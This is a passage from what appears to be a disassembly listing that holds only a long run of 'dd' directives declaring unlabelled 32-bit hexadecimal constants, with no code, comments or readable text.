		dd 5B3E1137h, 0FDA874D9h, 0FC5D1FDDh, 60E1003Ch, 529D69E0h
		dd 58EC203Fh, 0F1060177h, 66485D4Ah, 54216853h,	0BD4B09DCh
		dd 22D67E12h, 321B6688h, 5AFAB6E4h, 0D1A6CEF0h,	5B90A5C9h
		dd 5D21D485h, 14BA8CF9h, 0DE11D48Ah, 8A7D5496h,	5C7F19FAh
		dd 0B80E1693h, 3C6F1374h, 30D52594h, 5AEEFA60h,	0C625A9BFh
		dd 5697D086h, 73EA526h,	28455CF0h, 8B6F1174h, 2F17F659h
		dd 0BCB6302h, 0B3FE3266h, 3232FA04h, 0E6F7D0D3h, 5EC81CD4h
		dd 2AA16108h, 0B3CA577Ch, 0ED3AF22h, 8243E9A3h,	80BB0B79h
		dd 0D50265Eh, 0B2557F7Eh, 0CF70D597h, 68CFF00Eh, 9839369Fh
		dd 0AE09728Ah, 5ACC0070h, 853FEB57h, 9D2585h, 5D88DC6Ah
		dd 4D5A496Eh, 12DA3ED5h, 26658290h, 73A25C33h, 0EFF1C196h
		dd 0A5AB259Eh, 87D0D86Dh, 1122DBCBh, 0D17CB5ACh, 0E4543F6Fh
		dd 841D895Fh, 8A98F2E7h, 91422F2h, 13BADBAAh, 331E263Fh
		dd 39E7E5ACh, 5A14FB72h, 0A59BF468h, 1C43E21Eh,	89EBCF82h
		dd 0C66E90FBh, 0A39FDBFDh, 0D69E0978h, 65265ADh, 0C9368AE1h
		dd 0DCBEDCB1h, 7DCC75A7h, 0CB393927h, 3FA489E3h, 0D88CA112h
		dd 62454D02h, 0C798B582h, 6F72596Eh, 0E9D696D6h, 52380DE2h
		dd 3C4EBDFFh, 87425407h, 0B1BB060Eh, 842AB6D2h,	8AE3FA6Fh
		dd 0E0D3ACCBh, 8BB55FD6h, 0C46FAE58h, 79635137h, 1E856D2Fh
		dd 0DDCB1858h, 4C966D00h, 2B555D28h, 0E1664E33h, 0B6F6177h
		dd 697E6BD5h, 0B5CA7BA8h, 0C8C5E165h, 5A90C64Fh, 88A0B718h
		dd 4B4DF012h, 72756A6Ah, 772BF42h, 0A50B11A3h, 386836E8h
		dd 9D612183h, 4A407EEBh, 0A6340FE0h, 0E2C07DD8h, 8118EDA7h
		dd 15FF5AFAh, 44690535h, 1300FCh, 615B0FD4h, 0A8DC4E11h
		dd 19C57D60h, 2E2D19FFh, 0CB035101h, 0EB502E0h,	4674A92Eh
		dd 32B2FFE7h, 0FCD4E5FDh, 30939302h, 0CB38861h,	0BAAAF1F2h
		dd 0BE69594Eh, 0AF18EE5Ch, 5A60A3E8h, 54E3B549h, 24B4480Ah
		dd 78A2CD48h, 65925F4Ah, 5F0FE539h, 4B8CE677h, 861816C9h
		dd 0FE35DD63h, 2EC2090Eh, 6BFB8D54h, 26641A81h,	97C4313Ah
		dd 5CA1C5E7h, 3E263898h, 0CC65930Dh, 4A6925FCh,	27E7AA15h
		dd 3A66CD51h, 2AC7E98Ah, 6B866A02h, 86CA07CAh, 93B320B0h
		dd 34799CC5h, 11B2AF90h, 0FA8AAA5h, 0DF301B28h,	0D6D080FCh
		dd 2C033197h, 0CF0254CAh, 61A30F2Ah, 74F586C0h,	3FF15172h
		dd 0F5BAFB02h, 40BBC6A1h, 0D4FD9023h, 275BF622h, 0A231F25h
		dd 0A6735A14h, 19611288h, 34A0203Dh, 97FB97D1h,	0DB6ADCBh
		dd 6DBE6F48h, 4A387E84h, 0AA4DC30Ch, 0E6731C7Fh, 0B158284Dh
		dd 72AB3E79h, 61AF9C98h, 7EE9ADDDh, 2E0ECEF0h, 3309B2F4h
		dd 3900FAF0h, 7A81E752h, 0EB5DDCA5h, 55B738F3h,	0C47DB032h
		dd 580A193Dh, 44C4880h,	56C79C89h, 0CB272786h, 79E40C4Bh
		dd 4C0C65CBh, 40396EFFh, 0A19F05A4h, 1F9F86EEh,	0EF5444C2h
		dd 14B17171h, 9AA17E76h, 2FDF4B35h, 2774C784h, 9ADCAB4Bh
		dd 0E2DEE53Ch, 30090D09h, 66F220E7h, 0CA1617BCh, 7941312Bh
		dd 4E84929Eh, 6741B128h, 1B258D7Dh, 0D86506FDh,	58182A34h
		dd 29845E7Ch, 0D50EB854h, 375A2396h, 8E62349Ch,	21D3B3B2h
		dd 0B0018E38h, 0B0273119h, 4FC81ECAh, 4FE20062h, 2634B8E5h
		dd 60F00A70h, 0A20BBAFCh, 0C0E1CBDCh, 0CAD36FA3h, 351A2496h
		dd 0E6D99D74h, 71C885F7h, 17D7709Fh, 2A8862A2h,	4C4C6BB1h
		dd 0C327F6FEh, 0B445C5BEh, 7FB4AC13h, 0D095D4D6h, 0FAC5CC96h
		dd 0EC4CA704h, 29C0F240h, 66E8071Fh, 35E5AF4Eh,	0A7B6695h
		dd 6DAB4A7Ah, 5F1FC842h, 8693616h, 1B4F88C7h, 1572E8D4h
		dd 360723CCh, 50B0FE11h, 6AB025D5h, 2C28FFD7h, 9D18BE08h
		dd 85EBF1F3h, 189F3436h, 39DB5CAh, 344136F7h, 0D195DC9Bh
		dd 0E4EB7A52h, 8C39396Bh, 0DA1278BBh, 3253F7CAh, 564E093Ch
		dd 0F8AB02C6h, 9ADE3Ch,	0F7325359h, 4B0647C7h, 563026FDh
		dd 21F08AD7h, 0A0065FFEh, 2F3D1C76h, 0E6606455h, 0EE3402F4h
		dd 97BD435h, 7E4AE7E7h,	0DF2B3D8Ch, 0B1036061h,	65F8DF3Bh
		dd 0A9A2FCC4h, 0F266C41Bh, 8542C19Ah, 0E19A078Dh, 6D22261Fh
		dd 4921AF55h, 8B7DE410h, 4F82D77Bh, 0C7F86BAEh,	980F4A87h
		dd 8077FC3Ch, 0DAFCBF12h, 78326579h, 3FA06FF1h,	70AA86Ah
		dd 4246E83h, 0FE48782Bh, 5DD9D924h, 22589FE7h, 0BF70DDB6h
		dd 0F6C3128Ah, 84C3B68h, 21B4DF00h, 92E2DA47h, 6802BE5Dh
		dd 0C67D37Ah, 6D6040E4h, 0CCC4E98Fh, 0C9561162h, 0F9BED489h
		dd 0AA58E534h, 0F0A7C657h, 0EF2B3EDEh, 0D7A90523h, 0E345D599h
		dd 9A9EBE59h, 0C58ADA68h
		dd 0B0305020h, 0D6BE21EAh, 7D54064Fh, 85A88121h, 166F2F81h
		dd 7196182Ah, 40594026h, 91DF701h, 248A2C1Eh, 6EBC295h
		dd 0E7B6076Fh, 0B3C67ECFh, 0CE3451BFh, 0C236945Ah, 74BBE411h
		dd 3665F34Fh, 2A65CD5h,	5C1B8931h, 73ECE16Fh, 97365C62h
		dd 579F3F1Eh, 4BB7505Ah, 0E07BD540h, 0DD180B4Dh, 364CC50Ah
		dd 0AEA93BF4h, 0A90D0FC5h, 0A26A1AA0h, 0F910C454h, 0AA2DB9D0h
		dd 632E71ADh, 0D1D50686h, 45FDD5Ah, 197A93B8h, 0A380A81Eh
		dd 80E9D8A1h, 0E2BAED4h, 2AF9E44Dh, 525F9442h, 0D1C376E4h
		dd 4FFAED01h, 0D83D9503h, 9F6801C2h, 1A951E42h,	0CDBC436h
		dd 0F79C37D2h, 0B3C0D369h, 0B124577Dh, 0A1BAF627h, 7E1CD76Ah
		dd 39865CC4h, 0CC5978B7h, 0E3F244FBh, 0B417FB9Fh, 6E608414h
		dd 0BF212291h, 0B8B31F77h, 6BE2B7B7h, 0ACFEAD7h, 28212D05h
		dd 0BAA78515h, 0C948D21Fh, 6094F7A1h, 0A6952EC7h, 72862EB8h
		dd 0F4C2447h, 0BAB5784Ah, 98FA6546h, 3F76458Fh,	8E6416CBh
		dd 0B41F47B6h, 0D92DF1A9h, 0EB3DD4F9h, 0B7445F8Dh, 4903AA4Dh
		dd 0B60E6B06h, 189602ADh, 1E6FCCFCh, 0E70BA8C3h, 2538171Fh
		dd 957D3789h, 799D9F65h, 0DB1CB864h, 7DC84274h,	0D2602A80h
		dd 9F111E41h, 9B0DF1D1h, 3B4C2342h, 89301D4Ch, 0E9A57779h
		dd 0E918E937h, 3637085Bh, 0E921BD58h, 0FB3456B7h, 0C697AF98h
		dd 918E02A5h, 0C1517461h, 29E106D1h, 0B0311C0Fh, 6FAA080h
		dd 0EBCB57B7h, 0C08E793Ah, 28DF59Ah, 0F11793E4h, 8BF9E5AEh
		dd 0B45E7FDCh, 63A9812Ch, 0F3CD7EBBh, 7C4844E2h, 0AEB9E84Dh
		dd 0D6F32F1Ch, 341C165h, 4E281E67h, 74BF80D7h, 9800DB3Dh
		dd 1F72F0E3h, 0FD35A991h, 6200F0Fh, 1C2104D8h, 309A87DCh
		dd 775AD233h, 27A95CD0h, 331F3447h, 48481FDCh, 62EF4C9Ch
		dd 9C53126Fh, 6A2F104h,	8BBBD9E9h, 51F1C451h, 0F4316ECAh
		dd 0FB4964A5h, 0AB6F5AE2h, 0CAFF1B39h, 24932E84h, 66BCAD9Bh
		dd 9FFDC20Ah, 2D0C8891h, 3325D749h, 0EDD4C07Bh,	0DFBE82F3h
		dd 2DA3D32Ah, 53890CC6h, 44EA4A9Fh, 2B48556Bh, 0CBBF5C0Bh
		dd 0E481A09Fh, 0B968AE67h, 4CD4446Ch, 526D6CCCh, 0A5F66A94h
		dd 58626C89h, 67874F1Ch, 9F21976Ch, 2001254Bh, 2D92836Dh
		dd 503CEF5Fh, 0DBA0794Ah, 0DD2F22C5h, 0CAD73AE3h, 0F80674EDh
		dd 22F9383Eh, 6B2E3236h, 6C435022h, 11F5533h, 0BA603FFh
		dd 68B30CADh, 12ACA918h, 4414BB76h, 0A91AED1Fh,	4F036E27h
		dd 0FE5D1CC4h, 0B79C42DAh, 6BAEA79Eh, 5A17F2C8h, 0E165D8Fh
		dd 3BA82FE4h, 0DDE57FA0h, 0F662349Fh, 2EEF9BDh,	0DBAA7F23h
		dd 119C8EC7h, 0F9AD488h, 56CF6BCDh, 9F0D1E5h, 0EA672B4Fh
		dd 20558038h, 4078ABFCh, 3658CCFEh, 0FE3B7A0Dh,	0BE5D21F4h
		dd 0CC6D6E6Ah, 6E10C345h, 7FFAA010h, 665DF46h, 1E7AEA68h
		dd 3CD97C33h, 29E79200h, 11588FADh, 0A5C2B702h,	0DB37971Dh
		dd 0C8F56284h, 7BF1B2DFh, 27383F69h, 83CFAA42h,	4CC91797h
		dd 3E750FE4h, 0E54364E5h, 0E02FBFA2h, 6DD34BB3h, 7F03DA48h
		dd 0B7103F93h, 8B3FB62h, 0F87B5DE1h, 0A30F2AE5h, 3A00F61h
		dd 0E20587EEh, 61DD7A44h, 963CA7D9h, 81E5152Ah,	1D839BD2h
		dd 1FA3A90Fh, 230212C0h, 0F8FA88A5h, 0C0ACD918h, 2A61DDE8h
		dd 80A27527h, 7927133Fh, 0DBF8A0DFh, 7BE78013h,	4E2E9A3Ah
		dd 0BFAD49Fh, 0FB043121h, 4AD915A4h, 0FD87A19h,	898BC31Fh
		dd 5F87E19Eh, 0B0175669h, 0BE1DF8D2h, 1B8F92F3h, 7F71C006h
		dd 0C50DF9C4h, 0F42BF367h, 0B0CD08B1h, 8083F45Ch, 7DBD52Eh
		dd 5B6BCB09h, 58CE7DB3h, 0DAAA8861h, 0A3B01CC8h, 8C5D59B0h
		dd 90A959F5h, 0AAC90A71h, 2C340E46h, 0E16952D2h, 64BDD5BBh
		dd 3525C16Dh, 273B4139h, 0E11DC9B2h, 0E83D3E2Bh, 95F9F3D6h
		dd 7FB483E0h, 86258DEFh, 5772470Ah, 0A4FFFCB2h,	418C651Ah
		dd 16CFAF9h, 2375D6h, 0B72E0341h, 610ADE61h, 98AA9BEFh
		dd 6754874h, 5E61EEE3h,	939514C1h, 7E89A05Ah, 0F41F808Bh
		dd 0C5FF0AF9h, 53485198h, 945A7226h, 9514FF18h,	871BCBE4h
		dd 423283BCh, 0D3DDB953h, 7D4E35Ah, 562FCE42h, 0CA091A6Dh
		dd 0F7C6EA48h, 0F24F98E1h, 23412499h, 0B0E56EF0h, 8D686806h
		dd 54D839CFh, 0D2837B87h, 5EAD988h, 78BA5FEEh, 0BB162616h
		dd 0E68D3E82h, 2C65698Eh, 98E60C10h, 489D8B12h,	2E64389Dh
		dd 0DFEEA0B8h, 0C4D8C1A6h, 38486BE6h, 51A410DDh, 5C200778h
		dd 6E65ABD9h, 0B4415049h, 33C4F741h, 5C2FD28Bh,	58EFF6DFh
		dd 2A999C11h, 0CA33911Fh, 0C916E2DDh, 4270AD01h, 19B5203h
		dd 34FF04ECh, 66FFE60h,	2D668FACh, 0B7FC8A79h, 0B0CA4ADFh
		dd 3AF2D434h, 0C633ACFh, 9EF51857h, 0D8A0D1C0h,	3C653136h
		dd 7126F923h, 2AA192FEh, 4335BA0Ah, 13B79497h, 0C5AA72D5h
		dd 3843BA3Bh, 0B8FA90CDh, 57B9A559h, 0A70E27Ah,	0F27279ADh
		dd 29E8608Dh, 555FD0E5h, 0EE73ED1Bh, 651CA4CAh,	848D6041h
		dd 15325F45h, 0D4E925B4h, 0CA6DD9F9h, 0DA9ED2F8h, 0B2406740h
		dd 79ED8539h, 4B5B35B2h, 3E92B98Bh, 0DEA933FCh,	27AA068Fh
		dd 50BB0574h, 0C47EB1E1h, 3B16E7BEh, 7828E18Ch,	0D0FCED8Dh
		dd 83CC4386h, 0CF1FBF29h, 3FD318DEh, 0BB45A4AAh, 0BA721C4Ah
		dd 1B872D06h, 7D783676h, 25EBC457h, 73A44962h, 0FAFC07C7h
		dd 22C20EF5h, 0E8B43DE1h, 75FDBF95h, 0DAE834AEh, 2115E449h
		dd 3EE42ECh, 85134204h,	6ECC6080h, 12CD9AA6h, 28B78122h
		dd 5C8A013Ah, 0DAFE0496h, 774D6FE7h, 0B7FD1FAAh, 5A46A29Eh
		dd 0CE62A4B7h, 15DC4652h, 12DFEB84h, 49496346h,	1BF06921h
		dd 4A995915h, 0D576F0EEh, 3AC467DCh, 99C5E9C6h,	7353C6E5h
		dd 0D2E4592Fh, 6A6E3748h, 5F90B633h, 0E40F4997h, 744EB477h
		dd 0C117B0FFh, 7169D3F9h, 0DD0F29Fh, 677A232Bh,	0B5371A2Dh
		dd 0B8C8D709h, 1F8C115Bh, 309824BDh, 0CB6EF8C7h, 1B399532h
		dd 0B6B1DA0Eh, 8DE6294Eh, 25070CAFh, 0DA2AB577h, 0F1102B92h
		dd 9FF7ACB4h, 2E6FD648h, 1175CEDFh, 0B8C085E4h,	0FE6BDBC7h
		dd 472F70A4h, 34A39C6Eh, 0A76F57AAh, 8A705C56h,	9F17DED3h
		dd 0F4C7210Dh, 3B3B3804h, 5291B8E0h, 12A76F37h,	0A65D0358h
		dd 24BB0AB3h, 0F5D958A5h, 0F902B804h, 3D63EAE6h, 0E1E6BFF1h
		dd 638996C7h, 0DA6CE520h, 39E8305h, 67BD4208h, 0FCA927BCh
		dd 0F4963F8h, 17A79BFBh, 0FF2300F6h, 1588A3D0h,	8985D3F4h
		dd 3E1A9120h, 0E2454418h, 623F9DDh, 1EE6549Ch, 47B3F5C4h
		dd 7EEFEDF9h, 57BF4EB6h, 846B1BF2h, 953376h, 0B695EC2Bh
		dd 0C5E1E1Dh, 0A50FAB0Eh, 5D86EAFh, 64DC073Ah, 2C0530E5h
		dd 8AD955F6h, 326DB367h, 5B6AD21Fh, 0DE2F95D6h,	33CD9A5Dh
		dd 46489B4Ch, 0C1B58431h, 0A7FCCAABh, 44E5801Dh, 1BC3DF61h
		dd 0F94D52Ch, 0DC1A7F84h, 3DC710B2h, 0B66226A6h, 0BC66D627h
		dd 0DF2426D8h, 0D2AA1F63h, 441743CCh, 0A20E82E0h, 4218129Ch
		dd 70F944h, 62F4BEC3h, 7FC1794Dh, 0F5C10D94h, 85A803EFh
		dd 739B54CDh, 88D94012h, 3625C815h, 371517F4h, 0CA89AE3Dh
		dd 0F3C47264h, 0B0BBB38Dh, 8ECB33D4h, 26FB5029h, 6F8D6BA7h
		dd 0A21D3C53h, 57124BE1h, 22E83D74h, 7E276338h,	0FCBD5D67h
		dd 0C0946F8Ch, 0AC7AF496h, 39C10F23h, 5145AC7Ah, 4BB5D01Eh
		dd 7CE4096Bh, 31815293h, 1C6655CFh, 8C22FED1h, 0E7D24863h
		dd 0A4649C68h, 0D338329Ah, 0FF8F47FCh, 6230F1ECh, 0A2095EB4h
		dd 7E76F896h, 15B7DA04h
		dd 904AA31Ch, 0B3C44DCAh, 0F70FD57Bh, 239264FBh, 43BE774h
		dd 5198C54Bh, 617AC1C5h, 85751A9h, 0E937C735h, 44DD18F5h
		dd 0B209DD62h, 0D1D1CA15h, 5144B7B1h, 0DAF4EB5Bh, 760D0D11h
		dd 4F3D82CCh, 0DC2F146h, 55B588ADh, 63263322h, 546A50D7h
		dd 8AF2C62Ch, 0BEC23413h, 0B02EA1CAh, 0AFFD31BFh, 9135F579h
		dd 0BA4C5000h, 0E6B57655h, 39D78405h, 0CAA916A1h, 0AE585183h
		dd 902176C2h, 0F75696Fh, 5301B2B8h, 36F6496Eh, 4EF2E792h
		dd 6BD555B2h, 0F680E801h, 0B78D8A0Dh, 3E330617h, 270A2753h
		dd 0D645CFB3h, 0FB4122BCh, 12CDA6D1h, 53F34DA6h, 0CA7F4689h
		dd 0EB920851h, 766CE082h, 0AE70C5ABh, 0FCF7787Ch, 0DDA941D2h
		dd 2BF616F7h, 8DFC2A95h, 0AAEEE609h, 4208EC51h,	3399A02h
		dd 0EF84D1D6h, 0EA9A3026h, 0E175EBA7h, 0D9EB495Ah, 8948F843h
		dd 0CF9B9281h, 5DE261D6h, 3D8DB0DEh, 72EE3BDAh,	0C2969378h
		dd 861A9C0Fh, 50CD8564h, 219007E8h, 0E5A9B3F9h,	0EFECF6C7h
		dd 7748A794h, 0D4D7B739h, 0F01D87BDh, 6FBF0A36h, 0ACEB3AA5h
		dd 4778999Ch, 99067256h, 8EAA5CC4h, 6238EF5Eh, 0EDE33A29h
		dd 2D9EBCE0h, 944A720Dh, 37BCADDDh, 729AF092h, 0BE1D819Ah
		dd 290404E4h, 4367670Fh, 180761B6h, 495F15FCh, 0C39D432Ah
		dd 2F3E13D5h, 2B71A539h, 47CA0438h, 0AEB80EB0h,	1073E863h
		dd 9497BEF6h, 0DF63E8C3h, 90E661C4h, 0F2A045AFh, 0EE58C40Ah
		dd 9F5611CEh, 0E49E36E1h, 1657DD80h, 37B28E3Fh,	378EE6D8h
		dd 371C096Fh, 664A0F55h, 0E247288Ah, 4BDDFD48h,	7C25E8A9h
		dd 341D729Bh, 0B2AB20C4h, 50813CEBh, 1ACF488Dh,	5F8A1469h
		dd 7635FDCEh, 6D2B5B5Eh, 83F1425Ch, 0A7455AD7h,	5A614C2Dh
		dd 0F9335C3Eh, 296A75A3h, 2C4EC2C2h, 0E5B6FA3Fh, 302AD3A4h
		dd 1BD05432h, 0C909202Ah, 79C86D6Fh, 0F666E661h, 48E4B340h
		dd 2D9A3EF0h, 588E28FEh, 1E72C59Eh, 9FEA9296h, 87CEA3A8h
		dd 0F6BB3674h, 96EA25AEh, 470AA040h, 39D61A98h,	44DFC73Fh
		dd 829BA5h, 0CACE4DABh,	0F02591A1h, 0E6CF1E76h,	0B9E1E6A3h
		dd 609AA928h, 2A6C16DDh, 4610C9D9h, 75FC3751h, 8887874Ch
		dd 0BF9170B4h, 30890902h, 0CF2AF993h, 8F9E60AFh, 3C524D08h
		dd 14132C29h, 4275BB75h, 12737C4h, 63115AF5h, 0B3B75488h
		dd 0A26D6CF4h, 0BB445451h, 77D365D2h, 0ACD5D897h, 8C1831F7h
		dd 4D613E01h, 65C19853h, 6CF4557Dh, 8CBFDF96h, 22EBB9D9h
		dd 8FC35496h, 0B93505Eh, 0E5A7A890h, 6335541Bh,	0F2DFABAAh
		dd 0A498A162h, 6E9D8BF9h, 0D6CA2CC4h, 359564E0h, 29809929h
		dd 0CD4606FAh, 3FA918E9h, 8319A790h, 8C30DC8Dh,	68153A1Fh
		dd 0E047F896h, 0FFB27255h, 612DBD83h, 0C6EBC18h, 0D8C55767h
		dd 47820DF7h, 0EFE787A7h, 9474A3A9h, 8CDD9532h,	1B437A17h
		dd 17EE05BFh, 0B88F5062h, 0F1A4EB4Dh, 68268C27h, 0C9A1224Ah
		dd 4F111961h, 4AA84EC5h, 59C573C7h, 0BBEBE59Ah,	0F092A0A9h
		dd 0B8CE7790h, 0F180F9Fh, 0A4BAB362h, 71D7E30h,	0CB1C6483h
		dd 0A3C6F0B5h, 0A6C8BD3Dh, 11C1C17Bh, 8478280Dh, 0F5ABF28Bh
		dd 0F823AAE1h, 427998B4h, 0BDF2AA2h, 304FB6DFh,	648813D2h
		dd 8260CEB3h, 0A6BD888Ah, 0DB392A46h, 8A1F61Bh,	72958DE0h
		dd 268A4386h, 830A582Ah, 0FEABCFEBh, 54FD72DFh,	7581BF95h
		dd 302C2A4Dh, 28D88586h, 5B48E3D7h, 27E4AAB7h, 0D5F7EA2h
		dd 330C2F8Dh, 0D5486E12h, 8C6B4648h, 0E53DBEF2h, 0DD37B550h
		dd 9E972898h, 0CD284078h, 7288D925h, 9612A7FDh,	550ACA33h
		dd 9F12457h, 9DCCCB22h,	1C072C21h, 1E4D6181h, 5645AD1Eh
		dd 0D3F7EBE3h, 917BAEFEh, 5D2D6DDBh, 0CF20EEAFh, 0A8FEF019h
		dd 0DBEE7774h, 0E31496BDh, 347DB89Eh, 86F81AC9h, 0E22F5433h
		dd 6439A123h, 7C95DA2h,	836798A3h, 218CD45Ah, 4DF437C8h
		dd 0F8821C87h, 4F781D3Ch, 2577657Dh, 0CC3993Ah,	3B69BFE8h
		dd 0ED0BCAD3h, 0E315F77Bh, 0ED23B0Bh, 9EF9BBBBh, 0A859064Bh
		dd 2D8B68E0h, 7B717617h, 0B1A53A1Bh, 0D700038Bh, 0F3B864ECh
		dd 71C93985h, 0F009D66Bh, 0E99BEE9Bh, 438AC42h,	8840194Fh
		dd 0A5F0EE1h, 8E18782Ch, 7A90CA36h, 0DD0AD98h, 73863DCEh
		dd 0C8EC2881h, 3E466408h, 0D706622h, 7F9502BFh,	0F900E74Eh
		dd 45A0F611h, 0BCCB1C87h, 55ED6F8Dh, 0B78F386Ch, 0A58FC73Fh
		dd 0F15D8109h, 7BF1B270h, 97EDC293h, 1FFDCE02h,	9DDF10C1h
		dd 224B7A36h, 3FF8C071h, 0A454321Bh, 0B5881B1h,	679385F4h
		dd 89ACEFF2h, 412B100Fh, 93B1F9C2h, 0EFC2AAEAh,	0CA661C85h
		dd 1CC13ABCh, 0AA0BC77Ah, 9F99B2FEh, 7586AECDh,	29F9C42Bh
		dd 0D9A95C05h, 0B3C52100h, 3A90FCE9h, 7510C848h, 568C4D3Ch
		dd 0DA8B6D8Bh, 274B03D7h, 0EE2CE916h, 16E4EE77h, 0D0DAA8FFh
		dd 93DAAE0Ch, 5E54183Bh, 0E1375BF9h, 0A775CAB1h, 4C0027EFh
		dd 58ECDCF0h, 8DF4359h,	11A82238h, 0F0359883h, 7F859D4Bh
		dd 7218B705h, 0EDA70E9Eh, 0BECEA4FAh, 9AF85AC2h, 72A8A667h
		dd 89019539h, 0DB00CDF4h, 0BB87D9ECh, 0F04AE6DDh, 8D336AFDh
		dd 117135C4h, 0EB93C2A8h, 279085B2h, 5A69FDF5h,	9B6B233h
		dd 604EF334h, 527B8A22h, 478B63DBh, 497D3AB2h, 3F40F91Ah
		dd 63DBD645h, 8ADC3398h, 7BEB3AEDh, 0CE1C0313h,	12128ECBh
		dd 22B27280h, 0D96A6AFh, 96889043h, 1E7EFED8h, 6E3A8DB0h
		dd 0EADAC8CEh, 4623B3ACh, 4808529Fh, 0F5033179h, 0CB8D81B2h
		dd 0C5FF763Eh, 8F0AFED0h, 6CEC80FFh, 0EF176E1h,	0B7D12492h
		dd 0AC3599EAh, 59B514E2h, 326E01C4h, 0C1E33F42h, 590A4303h
		dd 2CC472F4h, 0EF5CFD2Ch, 0B6D94FBDh, 7F8A380Fh, 0E223722Ah
		dd 39E07D21h, 0FF053E92h, 37E6D2C2h, 0E6B47B79h, 0B9FE374Ch
		dd 0FE8DE2F1h, 11DDA4B5h, 2D0AAEB5h, 1C92443Fh,	76648BEFh
		dd 0E7FEBB18h, 0FD126CBDh, 49B20D53h, 22A7D296h, 501D141Ch
		dd 763FE269h, 2CDE3EE7h, 0EDC09511h, 0DB8C941Ah, 507D4471h
		dd 56221EA0h, 4587B504h, 1B4A66A6h, 67730C87h, 89F7119Bh
		dd 0C35F3E99h, 1D3683A2h, 678DD964h, 4D756A42h,	0CA004307h
		dd 5CECAF94h, 200AD601h, 54EF42Bh, 7B5288B1h, 75F53134h
		dd 1D7BBBCDh, 0EACA1BBCh, 4B4ECD12h, 0F7A397E6h, 9F680BCAh
		dd 689A8FD3h, 1AAA1BD7h, 5EBE58B8h, 7A8F4352h, 0D198D86Dh
		dd 3F040CE0h, 3B102945h, 0C65C1543h, 0A85B3A8Ch, 0E1ECE058h
		dd 362BD4F1h, 0F4C5AB61h, 5154E545h, 1681BCC8h,	0BAE985F8h
		dd 9751753Eh, 15615E8Ah, 0E64E2F74h, 0AE3A26C0h, 9D295EC6h
		dd 6AD72207h, 0C89EAF9Eh, 37E826B3h, 0DA2D90C4h, 40FF9935h
		dd 89F00318h, 129F005Fh, 8EE5ED8Bh, 0A44935C5h,	7D8518EEh
		dd 0ED763236h, 0A8679C8Fh, 0AF0C6100h, 5FC0580Bh, 3352FE43h
		dd 0AFF9DD4Bh, 0DDD238E2h, 9FD40366h, 4CDDB7A3h, 0A1D8EAE9h
		dd 0BACA5A6Bh, 82A67D0Ch, 4CD1CAE0h, 0A415A07h,	8E5973E8h
		dd 46BC6305h, 6F124B8Eh, 0E89DC52Ah, 0DDA8B2A0h, 2E171DA0h
		dd 8BC8CAB5h, 838CA983h, 0DC1179D0h, 6E8396DFh,	0AB77E48Ah
		dd 7094854Eh, 0E4D808F0h, 0ECF62BAh, 39D77C1Fh,	0B3BCC03Fh
		dd 94BE4FF4h, 85A2EE9Bh, 8FAC64F4h, 59BD1FA9h, 0F21AEC47h
		dd 26B0C799h, 0CD642B1Bh, 2C52DE18h, 0CB7DBCFCh, 5D6DE2E9h
		dd 41023026h, 5E9FF962h, 0EBCF47F7h, 0B9C3DCB4h, 0F72BB0FBh
		dd 0EFF1EB59h, 0B0D5819Ch, 0B3FBB161h, 860225F6h, 8C6952A3h
		dd 57477A0Ah, 0F52409EBh
		dd 0DBF5A667h, 22AE9379h, 25A6ACB6h, 6E7B6302h,	0D13F898Ah
		dd 4DF226B9h, 52E03E8Bh, 0B07198BFh, 0DC322AB4h, 0F1FAB3ECh
		dd 90DD5F04h, 36A8F392h, 487EA7F8h, 7F089124h, 1F505E89h
		dd 3E2CB616h, 6C7CC5D5h, 6B0BD1Dh, 281F6642h, 717F1E13h
		dd 0D9CCDB66h, 15C3C9AFh, 924D65C2h, 0DAFAB566h, 0F3D30BF9h
		dd 0BEC8F3FBh, 0DC2B958Eh, 0A799F93Eh, 0CE06D539h, 582FB6E0h
		dd 0CCF20D42h, 0BCF5DDE8h, 351AE77Fh, 0AD10A56Bh, 9FF477C7h
		dd 44497679h, 645091Ch,	2B667A43h, 0CCCF92F6h, 0FAE58C1Ah
		dd 2C644EC5h, 24BEC1FCh, 7B602D74h, 60636C8h, 81786F54h
		dd 0CF2CD2EBh, 0CDEF622Bh, 678A78F9h, 0E0416474h, 6AB20CEAh
		dd 742A1C03h, 6A62C340h, 6300D18Fh, 9B667337h, 7EE043ECh
		dd 4E982835h, 75EEAB1Ch, 0AB6ED72Fh, 48389528h,	58F5850Dh
		dd 799C070Fh, 5C700013h, 0A58C7BC1h, 882EB0E1h,	4A66757h
		dd 0B9270F8Fh, 9F2C8A4Fh, 39A48A69h, 78EC676Fh,	0B7F4F4Bh
		dd 0CFE93C62h, 2CCC36A3h, 3C12934Ah, 6A054055h,	0C234AF19h
		dd 0CA57DC41h, 0EF0D53DBh, 6328C0C9h, 8C0AE952h, 0D509437Fh
		dd 1F9B4737h, 95B4FFDCh, 3E375EDh, 3A1255FFh, 10BD8BA2h
		dd 0C43D7E9Fh, 6C7969B7h, 0C9ECC676h, 0F39F8AD8h, 6B6900E9h
		dd 2E494B47h, 0AA8141ABh, 40A1176Fh, 5871960Eh,	89072DC9h
		dd 0B10439DAh, 320E9CBAh, 8546A8Eh, 624D6535h, 2FB795A9h
		dd 4913A8F5h, 699671E4h, 21DD9AE6h, 1857F9A2h, 6E4BC8F5h
		dd 0D2432633h, 0E0F3ADD2h, 0B2A654E6h, 3CC915C7h, 7185625h
		dd 0C17DEDE3h, 0CE9F8967h, 193A63E7h, 68DFFD39h, 0DC533F54h
		dd 0E056ABCCh, 9DFAF346h, 81B528C0h, 7ACD8866h,	0F66F5733h
		dd 94997AA0h, 3E87542Dh, 0F8FBCBD4h, 536984CBh,	0EF72F984h
		dd 8436C99Dh, 4502C908h, 226F060Bh, 0C582AB18h,	2AB7FC84h
		dd 801948FBh, 666D0E1Bh, 0F552FCD6h, 0B24A9B65h, 20D45498h
		dd 0DE2A0015h, 0EA2427EEh, 0E3660628h, 0ED5DED1Bh, 77947533h
		dd 639A9C87h, 0D5F4C525h, 8D4E75BCh, 7933DC0h, 3714ADB4h
		dd 53994E1Ch, 9FA65E96h, 0FB4837F8h, 2AB3002Fh,	728F8731h
		dd 932677AEh, 637A53DEh, 0B9E7A88Ah, 735FE41Dh,	4E5EA5EFh
		dd 90C4099Ch, 0D0B9C096h, 22904765h, 0C434E4D8h, 0D0E0A1BBh
		dd 6BB8E62Dh, 63DB69C3h, 9F5ECF38h, 4C0241EDh, 8111565Ah
		dd 0FED4858Fh, 65746511h, 7805C5E3h, 0C978AF4Fh, 24BEF208h
		dd 0E7960DE9h, 12752E7Bh, 0BDDD9F09h, 2491AAAFh, 0BC5BA111h
